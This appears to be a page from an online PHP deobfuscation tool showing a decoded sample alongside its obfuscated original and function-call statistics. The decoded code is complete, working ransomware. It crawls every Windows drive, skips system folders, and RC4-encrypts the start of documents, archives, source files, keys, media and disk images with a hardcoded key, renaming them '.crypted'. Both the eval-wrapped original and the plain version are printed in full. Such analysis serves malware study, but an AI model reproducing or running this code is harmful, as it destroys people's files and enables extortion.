Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_replace('~','a','set_time_limit(0); ini_set("displ~y_errors", "Off"); for($..

Decoded Output download

set_time_limit(0); ini_set("display_errors", "Off"); for($i=67;$i<=90;$i++) if(is_dir(chr($i).":")) Tree(chr($i).":"); function Tree($p) { $s=chr(92); $k=base64_decode("Y8YpcKjgL5T5iOpM+V7DMmWYpwhpMJb8ctQ26EywYsguWIq8IYbryv0w7iBScKfeguRG3hVMFUyD+F7EbqTauvEolcj7+C1i3UKn2jucEEBwXI2+N5r9fN5A/WDDADhw"); $a="e"; if(preg_match("/".$s.$s."(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i",$p) || preg_match("/recycle/i",$p)) return; $dp=opendir($p); if($dp===false) return; while($o=readdir($dp)) if($o!="."&&$o!="..") { if (is_dir($p.$s.$o)) { Tree($p.$s.$o); } elseif ($a=="e"&&preg_match("/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i",$o) || $a=="d"&&preg_match("/[.](crypted)$/i",$o)) { chmod($p.$s.$o,0777); $fp=fopen($p.$s.$o,"r+"); if ($fp!==false) { $b=fread($fp,2048); $z=array();for($i=0;$i<256;$i++)$z[$i]=$i;$j=0;for($i=0;$i<256;$i++){$j=($j+$z[$i]+ord($k[$i%strlen($k)]))%256;$x=$z[$i];$z[$i]=$z[$j];$z[$j]=$x;}$i=0;$j=0;$c="";for($y=0;$y<strlen($b);$y++){$i=($i+1)%256;$j=($j+$z[$i])%256;$x=$z[$i];$z[$i]=$z[$j];$z[$j]=$x;$c.=$b[$y]^chr($z[($z[$i]+$z[$j])%256]);} fseek($fp,0); fwrite($fp,$c); fclose($fp); if($a=="e") { rename($p.$s.$o, $p.$s.$o.".crypted"); } else { rename($p.$s.$o, preg_replace("/[.]crypted$/", "", $p.$s.$o)); } } } } closedir($dp); }

Did this file decode correctly?

Original Code

<?php eval(str_replace('~','a','set_time_limit(0); ini_set("displ~y_errors", "Off"); for($i=67;$i<=90;$i++) if(is_dir(chr($i).":")) Tree(chr($i).":"); function Tree($p) { $s=chr(92); $k=b~se64_decode("Y8YpcKjgL5T5iOpM+V7DMmWYpwhpMJb8ctQ26EywYsguWIq8IYbryv0w7iBScKfeguRG3hVMFUyD+F7EbqTauvEolcj7+C1i3UKn2jucEEBwXI2+N5r9fN5A/WDDADhw"); $~="e"; if(preg_m~tch("/".$s.$s."(winnt|boot|system|windows|tmp|temp|progr~m|~ppd~t~|~pplic~tion|ro~ming|msoffice|tempor~ry|c~che)/i",$p) || preg_m~tch("/recycle/i",$p)) return; $dp=opendir($p); if($dp===f~lse) return; while($o=re~ddir($dp)) if($o!="."&&$o!="..") { if (is_dir($p.$s.$o)) { Tree($p.$s.$o); } elseif ($~=="e"&&preg_m~tch("/[.](zip|r~r|r00|r01|r02|r03|7z|t~r|gz|gzip|~rc|~rj|bz|bz2|bz~|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|~ls|~up|cpr|npr|cpp|b~s|~sm|cs|php|p~s|cl~ss|py|pl|h|vb|vcproj|vbproj|j~v~|b~k|b~ckup|mdb|~ccdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|~i|svg|m~x|skp|sc~d|c~d|3ds|blend|lwo|lws|mb|slddrw|sld~sm|sldprt|u3d|jpg|jpeg|tiff|tif|r~w|~vi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|w~v|~sf|wm~|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i",$o) || $~=="d"&&preg_m~tch("/[.](crypted)$/i",$o)) { chmod($p.$s.$o,0777); $fp=fopen($p.$s.$o,"r+"); if ($fp!==f~lse) { $b=fre~d($fp,2048); $z=~rr~y();for($i=0;$i<256;$i++)$z[$i]=$i;$j=0;for($i=0;$i<256;$i++){$j=($j+$z[$i]+ord($k[$i%strlen($k)]))%256;$x=$z[$i];$z[$i]=$z[$j];$z[$j]=$x;}$i=0;$j=0;$c="";for($y=0;$y<strlen($b);$y++){$i=($i+1)%256;$j=($j+$z[$i])%256;$x=$z[$i];$z[$i]=$z[$j];$z[$j]=$x;$c.=$b[$y]^chr($z[($z[$i]+$z[$j])%256]);} fseek($fp,0); fwrite($fp,$c); fclose($fp); if($~=="e") { ren~me($p.$s.$o, $p.$s.$o.".crypted"); } else { ren~me($p.$s.$o, preg_repl~ce("/[.]crypted$/", "", $p.$s.$o)); } } } } closedir($dp); }')); ?>
Add Comment

Function Calls

chr 3
Tree 1
is_dir 2
ini_set 1
str_replace 1
set_time_limit 1

Variables

$i 68

Stats

MD5 6617dbc4a72c8e32f6e4970ea9622b22
Eval Count 1
Decode Time 94 ms